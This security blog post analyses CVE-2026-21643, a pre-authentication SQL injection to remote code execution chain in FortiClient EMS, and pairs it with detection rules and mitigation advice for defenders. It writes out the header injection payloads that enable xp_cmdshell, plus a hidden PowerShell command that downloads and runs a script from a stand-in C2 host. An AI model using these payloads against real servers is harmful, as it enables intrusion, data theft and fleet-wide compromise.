CVE-2026-21643 Deep Dive: Fortinet FortiClient EMS SQLi to RCE

Isha Sangpal

— 9 min read
CVE-2026-21643 Deep Dive: Fortinet FortiClient EMS SQLi to RCE

In enterprise environments, the most dangerous targets are not always the endpoints users carry around. They are the systems that control those endpoints.

Fortinet FortiClient Endpoint Management Server (EMS) sits at the center of many organizations’ remote-access and endpoint security posture. It pushes VPN configurations, enforces endpoint control policies, and often acts as a coordination hub for Zero Trust or ZTNA-style access. That kind of authority makes EMS a high-value asset for defenders. It makes it an even higher-value asset for attackers.

In late March 2026, active exploitation was confirmed for CVE-2026-21643, described as a critical pre-authentication SQL injection (SQLi) in FortiClient EMS. The risk here is not subtle: a single maliciously crafted request can allow an unauthenticated attacker to pivot from SQL injection into remote code execution (RCE) and land execution as SYSTEM on the underlying Windows server.

CVE-2026-21643
CVSS v3.1 Score:  9.8 CRITICAL
Vector:           CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

AV:N  → Network-accessible, no physical access needed
AC:L  → Low complexity — no race condition or special conditions
PR:N  → No authentication required (pre-auth)
UI:N  → No user interaction needed
C/I/A: H/H/H → Full confidentiality, integrity, and availability impact

This score is consistent with pre-auth SQLi → RCE chains on network-exposed management servers, matching the FortiGuard PSIRT classification.

This article walks through the architecture that makes the bug so dangerous, how the exploit chain works in practice, and what SOC teams should monitor to detect and contain it quickly.

EMS is not just another internal web app. It is an orchestration layer.

When EMS is compromised, the impact is typically asymmetric:

  • A workstation compromise often affects one user or one segment.
  • An EMS compromise can quickly become a fleet-wide event, because EMS can distribute configurations, scripts, and software to large numbers of managed endpoints.

That is why vulnerabilities in management servers are frequently “game over” issues. If an attacker controls the management plane, they can often weaponize legitimate administrative features to push malicious actions downstream.

The Architectural Flaw: Pre-Authentication Telemetry Routing

To understand CVE-2026-21643, it helps to look at how FortiClient endpoints communicate with EMS.

Remote laptops and endpoints regularly “check in” to the EMS ecosystem through the FortiClient Telemetry & Data Server (FCTDS). This telemetry channel carries:

  • Heartbeat signals and device status
  • Telemetry data (health posture, compliance signals, etc.)
  • Requests for updated policies (Endpoint Control, ZTNA-related rules, and similar directives)

Multi-Tenancy Creates a Routing Vulnerability

Modern EMS deployments often support multi-tenancy or multiple organizational partitions. That means the server must determine which tenant context a particular client belongs to.

To do that, the telemetry request includes identifying headers such as:

  • FCT-Tenant-Id
  • FCT-UID

The server parses these values and uses them to route the request to the correct database or organizational unit.

The Fatal Error: Trusting Client-Controlled Headers

The fatal pattern, reported as consistent with historical vulnerability patterns in Fortinet appliances and analysis published by security researchers is:

  1. The FortiClient Data Access Service (FCTDas.exe) reads a client-controlled header (for example, FCT-Tenant-Id) passed down from the frontend Node.js web server.
  2. FCTDas.exe uses that value to build an MSSQL query for tenant routing.
  3. This lookup happens before cryptographic authentication is verified.
  4. The input is interpolated unsafely into the SQL statement.
-- CONCEPTUAL VULNERABLE CODE:
-- The application dynamically concatenates the header value directly into the query
DECLARE @query NVARCHAR(MAX) = 'SELECT * FROM Tenants WHERE TenantId = ''' + @FCT_Tenant_Id_Header + '''';
EXEC(@query);

-- SECURE CODE (Parameterized):
-- The application should use parameters to neutralize injected logic
SELECT * FROM Tenants WHERE TenantId = @FCT_Tenant_Id_Header;

That ordering is what makes this vulnerability so severe. It exposes a pre-auth SQL injection surface at the front door of a system that is designed to control other machines.

Exploit Mechanics: From HTTP Header to Remote Code Execution

FortiClient EMS is backed by Microsoft SQL Server (MSSQL). That matters because MSSQL has features that attackers love in SQLi scenarios, including the ability to run “stacked” statements in certain contexts. Stacked queries allow an attacker to terminate the intended query and append additional SQL commands.

The exploit chain described for this vulnerability is straightforward and brutal: SQL injection → stacked query execution → enable OS command execution → run payload.

Step 1: Proof of Injection via the Telemetry Endpoint

The attacker targets a telemetry endpoint such as:

  • /FCTDS/Telemetry

Instead of sending a normal tenant identifier, they inject SQL logic into the header:

POST /FCTDS/Telemetry HTTP/1.1
Host: ems.victim-corp.com
User-Agent: FortiClient/7.4
FCT-Tenant-Id: 12345' OR 1=1; --
Content-Length: 0

Even this “simple” payload is powerful because it can subvert tenant routing logic. And because the injection is in a header, not a URL parameter, many default logging setups may not capture it clearly. That makes exploitation stealthier than a noisy query string injection.

Many default web application firewalls (WAFs) and basic IIS logs are tuned to heavily scrutinize URL parameters (e.g., ?id=1) and HTTP POST bodies. Custom HTTP headers (like FCT-Tenant-Id) are frequently overlooked by default configurations, to close this gap, configure your WAF or reverse proxy to deep-inspect all HTTP headers on requests destined for /FCTDS/, not just URL parameters and POST bodies. ModSecurity rule sets with REQUEST_HEADERS inspection enabled will catch the payloads described above.

Step 2: Enabling xp_cmdshell via Stacked Queries

SQL injection by itself is dangerous. But organizations can sometimes contain the damage if the database account is heavily restricted.

In real breaches, attackers frequently aim for the next escalation step: operating system command execution.

On MSSQL, one of the most notorious primitives is xp_cmdshell, a stored procedure that spawns a Windows command shell and executes a supplied command string. Many environments disable it by default for good reason.

Attackers can use stacked queries to enable it:

FCT-Tenant-Id: 12345';
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE; --

Unlike some database engines, MSSQL allows multiple SQL statements to be passed in a single batch separated by a semicolon (;). This is called a stacked query. It allows an attacker to terminate the intended database lookup and begin an entirely new, malicious command. Here, the attacker uses it to enable xp_cmdshell, a legacy extended stored procedure designed to let database administrators run Windows command-line operations directly from SQL scripts.

If the SQL context permits this and the SQL Server account has the required privileges, the attacker has now moved from database manipulation to OS-level control.

Step 3: Gaining SYSTEM-Level RCE via PowerShell

Once xp_cmdshell is enabled, the attacker can execute commands like PowerShell payload retrieval:

FCT-Tenant-Id: 12345';
EXEC xp_cmdshell 'powershell.exe -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString(''<http://malicious-c2.com/payload.ps1>'')"';
--

This is a classic “living off the land” approach:

  • It uses built-in tooling (PowerShell).
  • It can be run without dropping obvious binaries immediately.
  • It enables quick follow-on actions like reverse shells, beacons, credential theft tooling, or lateral movement frameworks.

In the scenario described, the MSSQL service on FortiClient EMS typically runs with NT AUTHORITY\\\\SYSTEM privileges. If true in a given deployment, then successful RCE is not “some user context.” It is total host control.

At that point, the EMS server is no longer a management system. It is an attacker-controlled command post inside the environment.

The Blast Radius: Fleet-Wide Compromise and Lateral Movement

A compromise of EMS is not merely a server incident. It is a control-plane failure.

Two high-risk outcomes stand out:

1) Credential harvesting and domain escalation

Attackers who land SYSTEM on a Windows server often move quickly to:

  • Dump credentials from LSASS memory
  • Extract secrets from the registry (SAM / SECURITY hives, where applicable)
  • Capture cached credentials or tokens

If administrators log in to EMS (which is common), it may become a stepping stone to Domain Admin or other privileged roles.

2) Supply chain pivot to every managed endpoint

This is where management-plane breaches become nightmare scenarios.

Threat intelligence reporting and prior patterns in “edge-to-enterprise” attacks show that adversaries frequently weaponize the native functionality of management systems. In EMS, that can mean using Endpoint Control capabilities to:

  • Push scripts
  • Deploy malicious packages
  • Distribute ransomware or infostealers
  • Modify endpoint network configurations to facilitate further compromise

In other words, EMS can become the attacker’s software distribution system.

Affected Versions & Patch Availability

Vulnerable:
  FortiClient EMS 7.4.0 – 7.4.4
  FortiClient EMS 7.2.0 – 7.2.7
  FortiClient EMS 7.0.x (all builds — EOL, no patch)

Patched:
  FortiClient EMS ≥ 7.4.5
  FortiClient EMS ≥ 7.2.8

Note: 7.0.x is end-of-life. Fortinet has not issued a backport.
Organizations on 7.0.x must upgrade, not just patch.

Indicators of Compromise

Host-Based IoCs:
  Suspicious process:   sqlservr.exe → powershell.exe / cmd.exe
  File drop location:   C:\Windows\Temp\*.ps1  (common staging path)
  Registry persistence: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
  Modified log path:    C:\Program Files\Fortinet\FortiClientEMS\logs\FCTDas*.log
                        (look for SQL syntax errors or truncated tenant IDs)

Network-Based IoCs:
  Anomalous outbound:   EMS server initiating HTTP/HTTPS to external IPs
                        (reverse shell / C2 beacon post-exploitation)
  Header content:       FCT-Tenant-Id values containing: ' ; EXEC sp_ xp_

Behavioral IoCs:
  MSSQL config change:  sp_configure 'xp_cmdshell' toggled to 1
  Scheduled tasks:      New tasks created under SYSTEM context post-exploitation
  New local admin:       net user / net localgroup administrators changes from

SOC Playbook: Detecting and Defending Against CVE-2026-21643

Defending against CVE-2026-21643 is not just “patch and pray.” Patching is essential, but detection buys you time when exploitation is already underway.

1) High-Fidelity Host Detection (EDR Process Trees)

One of the cleanest signals for this attack chain is the parent-child process relationship:

  • sqlservr.exe spawning cmd.exe
  • sqlservr.exe spawning powershell.exe

That is not normal behavior in most database server baselines. When it happens, treat it as urgent.

Hunting signal:

  • Parent image: \\\\sqlservr.exe
  • Child image: \\\\cmd.exe or \\\\powershell.exe

If EDR is deployed properly on the EMS server, this is often the fastest way to confirm exploitation.

# SIGMA Rule — FortiClient EMS SQLi RCE (CVE-2026-21643)
title: FortiClient EMS - SQL Server Spawning Shell (CVE-2026-21643)
id: a1b2c3d4-0000-0000-0000-000000000001
status: experimental
description: Detects xp_cmdshell abuse — MSSQL spawning cmd/powershell,
             indicative of SQLi-to-RCE exploitation of CVE-2026-21643
references:
  - https://fortiguard.fortinet.com/psirt/FG-IR-25-1142
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    ParentImage|endswith: '\sqlservr.exe'
    Image|endswith:
      - '\cmd.exe'
      - '\powershell.exe'
      - '\wscript.exe'
      - '\cscript.exe'
  condition: selection
falsepositives:
  - Legitimate DBA maintenance (verify against change window)
level: critical
tags:
  - attack.execution
  - attack.t1059.001
  - attack.t1505.003

2) Network Detection (Inspecting HTTP Headers)

Because the injection is delivered via HTTP headers, network monitoring needs to include:

  • Header inspection for telemetry endpoints
  • Pattern detection for MSSQL keywords in unexpected places
# Example Suricata rule to detect xp_cmdshell in HTTP headers targeting EMS telemetry
alert http any any -> any $HTTP_PORTS (msg:"Possible FortiClient EMS SQLi (CVE-2026-21643) - xp_cmdshell in Header"; flow:established,to_server; http.header; content:"xp_cmdshell"; nocase; pcre:"/(FCT-Tenant-Id|FCT-UID)/i"; classtype:attempted-admin; sid:1000001; rev:1;)

Keywords to flag in headers:

  • xp_cmdshell
  • sp_configure
  • RECONFIGURE
  • sp_OACreate

Deploying Suricata or Snort signatures focused on these strings in telemetry traffic can help catch exploitation attempts early, especially if the server is internet-exposed.

Also consider that default web server logs may not capture the critical header content. If you rely on IIS logs alone, you may miss the “smoking gun.”

3) Application Log Forensics: Check the FCTDas Logs

If you suspect an attempt was made but EDR was bypassed or unavailable, you need to check the application’s raw log files. Because the vulnerability resides in how the Data Access Service processes the header, SQL syntax errors and routing failures will often be dumped to disk.

Where to look: Navigate to the default EMS installation directory on the Windows server: C:\Program Files\Fortinet\FortiClientEMS\logs\

Review the FCTDas*.log files. Look for stack traces indicating a SqlException or raw logs where the FCT-Tenant-Id value contains unexpected characters like ', ;, or EXEC. Even if the exploit failed to execute a shell, the injection attempt will often leave a footprint here.

4) Immediate Mitigation and Zero Trust Architecture

If you are operating EMS in an environment where exploitation is plausible, the priorities are:

  • Patch immediately to the versions listed in the FortiGuard PSIRT advisory (FG-IR-25-1142).
  • Reduce exposure: avoid direct internet access to telemetry endpoints if possible.
  • Enforce strict traffic controls: place EMS behind a WAF or controlled gateway.
  • Require secure access paths: ensure clients reach telemetry endpoints through VPN or ZTNA gateways rather than allowing unrestricted inbound access.

Defense-in-depth is crucial here because “pre-auth” vulnerabilities remove the safety net that authentication normally provides.

Conclusion

CVE-2026-21643 is a reminder of a hard truth: security products are still software. They have web services. They parse headers. They query databases. And they can fail in ways that mirror the OWASP Top 10, just with much higher stakes.

When the vulnerable application is a management server like EMS, exploitation is rarely limited to that server. It becomes an enterprise event, because the attacker is effectively compromising the system designed to control and protect endpoints.

The practical takeaway is simple:

  • Patch quickly, because attackers move fast on critical pre-auth bugs.
  • Assume exploitation is possible, and monitor for the host and network signals that reveal the SQLi-to-RCE chain.
  • Treat management servers as crown jewels, and limit their exposure like you would a domain controller.

References & Further Reading

Read more